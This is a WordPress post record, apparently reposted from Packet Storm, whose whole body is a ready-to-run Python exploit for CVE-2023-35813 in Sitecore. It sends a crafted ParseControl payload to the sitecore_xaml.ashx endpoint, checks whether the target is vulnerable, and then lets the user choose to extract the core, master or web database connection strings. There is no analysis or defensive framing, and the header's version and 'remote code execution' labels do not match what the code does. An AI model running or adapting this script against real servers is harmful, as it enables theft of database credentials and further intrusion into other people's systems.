{"id":55286,"date":"2024-03-11T18:59:49","date_gmt":"2024-03-11T15:59:49","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177524\/sitecore82-exec.txt"},"modified":"2024-03-12T11:02:14","modified_gmt":"2024-03-12T07:32:14","slug":"sitecore-8-2-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/sitecore-8-2-remote-code-execution\/","title":{"rendered":"Sitecore 8.2 Remote Code Execution"},"content":{"rendered":"<p>#!\/usr\/bin\/env python3<br \/>\n#<br \/>\n# Exploit Title: Sitecore &#8211; Remote Code Execution v8.2<br \/>\n# Exploit Author: abhishek morla<br \/>\n# Google Dork: N\/A<br \/>\n# Date: 2024-01-08<br \/>\n# Vendor Homepage: https:\/\/www.sitecore.com\/<br \/>\n# Software Link: https:\/\/dev.sitecore.net\/<br \/>\n# Version: 10.3<br \/>\n# Tested on: windows64bit \/ mozila firefox<br \/>\n# CVE : CVE-2023-35813<br \/>\n# The vulnerability impacts all Experience Platform topologies (XM, XP, XC) from 9.0 Initial Release to 10.3 Initial Release; 8.2 is also impacted<br \/>\n# Blog : https:\/\/medium.com\/@abhishekmorla\/uncovering-cve-2023-35813-retrieving-core-connection-strings-in-sitecore-5502148fce09<br \/>\n# Video POC : https:\/\/youtu.be\/vWKl9wgdTB0<\/p>\n<p>import argparse<br \/>\nimport requests<br \/>\nfrom urllib.parse import quote<br \/>\nfrom rich.console import Console<\/p>\n<p>console = Console()<br \/>\ndef initial_test(hostname):<br \/>\n# Initial payload to test vulnerability<br \/>\ntest_payload = &#8221;&#8217;<br \/>\n&lt;%@Register<br \/>\nTagPrefix = &#8216;x&#8217;<br \/>\nNamespace = &#8216;System.Runtime.Remoting.Services&#8217;<br \/>\nAssembly = &#8216;System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089&#8242;<br \/>\n%&gt;<br \/>\n&lt;x:RemotingService runat=&#8217;server&#8217;<br \/>\nContext-Response-ContentType=&#8217;TestVulnerability&#8217;<br \/>\n\/&gt;<br \/>\n&#8221;&#8217;<br \/>\nencoded_payload = quote(test_payload)<\/p>\n<p>url = f&#8221;https:\/\/{hostname}\/sitecore_xaml.ashx\/-\/xaml\/Sitecore.Xaml.Tutorials.Styles.Index&#8221;<br \/>\nheaders = {&#8220;Content-Type&#8221;: &#8220;application\/x-www-form-urlencoded&#8221;}<br \/>\ndata = &#8220;__ISEVENT=1&amp;__SOURCE=&amp;__PARAMETERS=ParseControl(\\&#8221;{}\\&#8221;)&#8221;.format(encoded_payload)<\/p>\n<p>response = requests.post(url, headers=headers, data=data, verify=False)<\/p>\n<p># Check for the test string in the Content-Type of the response<br \/>\nreturn &#8216;TestVulnerability&#8217; in response.headers.get(&#8216;Content-Type&#8217;, &#8221;)<\/p>\n<p>def get_payload(choice):<br \/>\n# Payload templates for different options<br \/>\npayloads = {<br \/>\n&#8216;1&#8217;: &#8220;&lt;%$ ConnectionStrings:core %&gt;&#8221;,<br \/>\n&#8216;2&#8217;: &#8220;&lt;%$ ConnectionStrings:master %&gt;&#8221;,<br \/>\n&#8216;3&#8217;: &#8220;&lt;%$ ConnectionStrings:web %&gt;&#8221;<br \/>\n}<\/p>\n<p>base_payload = &#8221;&#8217;<br \/>\n&lt;%@Register<br \/>\nTagPrefix = &#8216;x&#8217;<br \/>\nNamespace = &#8216;System.Runtime.Remoting.Services&#8217;<br \/>\nAssembly = &#8216;System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089&#8242;<br \/>\n%&gt;<br \/>\n&lt;x:RemotingService runat=&#8217;server&#8217;<br \/>\nContext-Response-ContentType='{}&#8217;<br \/>\n\/&gt;<br \/>\n&#8221;&#8217;<\/p>\n<p>return base_payload.format(payloads.get(choice, &#8220;Invalid&#8221;))<\/p>\n<p>def main(hostname):<br \/>\nif initial_test(hostname):<br \/>\nprint(&#8220;Exploiting, Please wait&#8230;&#8221;)<br \/>\nconsole.print(&#8220;[bold green]The target appears to be vulnerable. Proceed with payload selection.[\/bold green]&#8221;)<br \/>\nprint(&#8220;Select the payload to use:&#8221;)<br \/>\nprint(&#8220;1: Core connection strings&#8221;)<br \/>\nprint(&#8220;2: Master connection strings&#8221;)<br \/>\nprint(&#8220;3: Web connection strings&#8221;)<br \/>\npayload_choice = input(&#8220;Enter your choice (1, 2, or 3): &#8220;)<\/p>\n<p>payload = get_payload(payload_choice)<br \/>\nencoded_payload = quote(payload)<\/p>\n<p>url = f&#8221;http:\/\/{hostname}\/sitecore_xaml.ashx\/-\/xaml\/Sitecore.Xaml.Tutorials.Styles.Index&#8221;<br \/>\nheaders = {&#8220;Content-Type&#8221;: &#8220;application\/x-www-form-urlencoded&#8221;}<br \/>\ndata = &#8220;__ISEVENT=1&amp;__SOURCE=&amp;__PARAMETERS=ParseControl(\\&#8221;{}\\&#8221;)&#8221;.format(encoded_payload)<\/p>\n<p>response = requests.post(url, headers=headers, data=data)<\/p>\n<p>if &#8216;Content-Type&#8217; in response.headers:<br \/>\nprint(&#8220;Content-Type from the response header:&#8221;)<br \/>\nprint(&#8220;\\n&#8221;)<br \/>\nprint(response.headers[&#8216;Content-Type&#8217;])<br \/>\nelse:<br \/>\nprint(&#8220;No Content-Type in the response header. Status Code:&#8221;, response.status_code)<br \/>\nelse:<br \/>\nprint(&#8220;The target does not appear to be vulnerable to CVE-2023-35813.&#8221;)<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>\nconsole.print(&#8220;[bold green]Author: Abhishek Morla[\/bold green]&#8221;)<br \/>\nconsole.print(&#8220;[bold red]CVE-2023-35813[\/bold red]&#8221;)<br \/>\nparser = argparse.ArgumentParser(description=&#8217;Test for CVE-2023-35813 vulnerability in Sitecore&#8217;)<br \/>\nparser.add_argument(&#8216;hostname&#8217;, type=str, help=&#8217;Hostname of the target Sitecore instance&#8217;)<br \/>\nargs = parser.parse_args()<\/p>\n<p>main(args.hostname)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>#!\/usr\/bin\/env python3 # # Exploit Title: Sitecore &#8211; Remote Code Execution v8.2 # Exploit Author: abhishek morla # Google Dork: N\/A # Date: 2024-01-08 # Vendor Homepage: https:\/\/www.sitecore.com\/ # Software Link: https:\/\/dev.sitecore.net\/ # Version: 10.3 # Tested on: windows64bit \/ mozila firefox # CVE : CVE-2023-35813 # The vulnerability impacts all Experience Platform topologies (XM, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-55286","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55286","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=55286"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55286\/revisions"}],"predecessor-version":[{"id":55305,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55286\/revisions\/55305"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=55286"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=55286"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=55286"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}